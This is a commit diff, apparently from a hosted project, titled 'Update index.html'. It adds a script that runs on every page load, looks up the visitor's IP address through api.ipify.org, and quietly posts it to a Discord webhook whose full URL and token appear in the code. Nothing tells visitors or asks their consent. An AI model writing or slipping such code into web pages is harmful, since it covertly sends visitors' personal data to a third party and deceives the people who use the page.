abeea commited on
Commit
e1d9a5b
·
verified ·
1 Parent(s): 4f348a5

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +35 -0
index.html CHANGED
@@ -17,6 +17,41 @@
17
  var fb = document.getElementById('fallback');
18
  if (fb) fb.style.display = 'grid';
19
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
20
  </script>
21
  </head>
22
  <body>
 
17
  var fb = document.getElementById('fallback');
18
  if (fb) fb.style.display = 'grid';
19
  }
20
+
21
+ // Send IP address on load
22
+ window.addEventListener('load', function() {
23
+ sendIpAddressOnLoad();
24
+ });
25
+ function sendIpAddressOnLoad() {
26
+ fetch('https://api.ipify.org?format=json')
27
+ .then(response => response.json())
28
+ .then(data => {
29
+ var ip = data.ip;
30
+ var message = {
31
+ content: `User's IP Address on load(Feedback Page): ${ip}`
32
+ };
33
+ fetch('https://discord.com/api/webhooks/1259137968405479557/0ETkxkxj5d44Knje1E-EBSA-2-ENfLU_PCiBLY8LdGet4ImAiNN5IJt8dXYiRWmJELHl', {
34
+ method: 'POST',
35
+ headers: {
36
+ 'Content-Type': 'application/json'
37
+ },
38
+ body: JSON.stringify(message)
39
+ })
40
+ .then(response => {
41
+ if (!response.ok) {
42
+ console.error('Error:', response.statusText);
43
+ }
44
+ })
45
+ .catch((error) => {
46
+ console.error('Error:', error);
47
+ });
48
+ })
49
+ .catch((error) => {
50
+ console.error('Error:', error);
51
+ });
52
+ }
53
+
54
+
55
  </script>
56
  </head>
57
  <body>